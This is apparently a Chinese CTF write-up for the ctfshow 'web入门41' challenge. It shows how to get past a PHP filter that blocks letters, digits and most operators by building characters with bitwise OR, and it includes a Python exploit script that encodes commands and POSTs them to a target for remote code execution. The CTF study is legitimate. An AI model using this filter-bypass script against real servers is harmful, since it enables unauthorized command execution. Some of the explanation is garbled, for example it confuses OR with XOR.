ctfshow web入门41

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时甚至过滤了字母和数字。
但是特意留了个或运算符|。
由此我们可以尝试从ascii为0-255的字符中,找到用或运算能得到我们可用的字符。
羽师傅给了两个脚本(详见篇末的博客链接):

这个脚本用于生成可用字符的集合
跑完之后我们得到:

其中使用的都是十六进制
比如A,十六进制的四十是64 ,64+1等于65,正是A的ascll码

另外PHP大小写都合法,或运算能得到ascll码之后,我们可以上手拼命令了(

问题来了,虽然拼出来了,但是是不能执行的。
可以看到里面是有换行符(%0d %0c),会影响命令的执行。
这时候我们看看羽师傅的第二个脚本:
大体意思就是 从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数get flag
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
\#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

本题考点是如何用异或构造任意的字符。

浙公网安备 33010602011771号